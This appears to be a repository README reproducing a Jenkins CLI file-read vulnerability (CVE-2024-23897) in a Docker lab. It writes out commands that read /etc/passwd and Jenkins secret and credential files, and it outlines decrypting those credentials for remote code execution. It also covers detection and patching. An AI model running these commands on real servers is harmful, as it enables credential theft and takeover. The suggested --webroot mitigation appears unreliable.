
Reproduction of cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (CRITICAL) — Actively exploited in the wild
CVE-2024-23897 is a critical arbitrary file read vulnerability in Jenkins' command-line interface (CLI). The Jenkins CLI uses the args4j library for parsing command arguments. This library expands the @ character followed by a file path (@/path/to/file) by reading the contents of that file and injecting them as arguments. An unauthenticated attacker can exploit this behavior to read arbitrary files on the Jenkins controller's filesystem without requiring any authentication.
When combined with extraction of credentials.xml, secrets, or master.key, this vulnerability can lead to full server compromise (RCE).
@ Character Expansion in args4jThe args4j library (used by Jenkins' CLI command parser) implements a convenience feature: when an argument begins with @, it treats the remainder of the argument as a file path, reads the file's content, and splits it into multiple arguments. This was intended to allow passing large argument lists via files.
Example: java -jar jenkins-cli.jar who-am-i @/etc/passwd would cause args4j to read /etc/passwd and use its contents as arguments to the who-am-i command.
Since certain CLI commands (like connect-node) echo back or include argument values in error messages/response, an attacker can observe the file contents in the CLI response.
@/etc/passwd| Product | Affected | Fixed |
|---|---|---|
| Jenkins (weekly) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (previous) | ≤ 2.414.2 | 2.414.3 |
Note: All Jenkins versions prior to the fixes listed above are vulnerable. The CLI feature has existed in Jenkins for many years, so older versions are also affected even if not listed explicitly.
Run a vulnerable Jenkins instance with Docker:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
Note the initial admin password from the container logs.
Verify the CLI port is open:
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
Install Python 3.8+ with required dependencies:
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
The file contents appear in the CLI response or error output. For example, reading /etc/passwd would return the system's password file entries.
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
With master.key and hudson.util.Secret, you can decrypt Jenkins credentials using tools like jenkins_decrypt.py or the decrypt.py script from CVE-2024-23897 references. The decrypted credentials (SSH keys, API tokens, cloud provider keys) can then be used to achieve remote code execution on connected nodes and cloud environments.
Search access logs or CLI audit logs for arguments containing @ followed by file paths:
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
If patching immediately is not possible, disable the CLI port by setting the --webroot option or blocking port 50000. However, note that the HTTP CLI endpoint (/cli/) within the web UI may still be exploitable, so patching is strongly recommended.
This repository is for authorized security testing and educational purposes only. Unauthorized exploitation of this vulnerability is illegal. The authors are not responsible for any misuse of this information. Only test on systems you own or have explicit written permission to test.
| Action | Details |
|---|
| Update Jenkins | Upgrade to Jenkins 2.442+ or LTS 2.426.3+ / 2.414.3+ |
| Disable CLI port | Block TCP port 50000 at the firewall if not needed |
| Restrict network access | Limit access to Jenkins CLI port to trusted networks only |
| Enable authentication | Ensure Jenkins requires authentication for all access |
| Monitor logs | Look for CLI commands with @ arguments in access logs |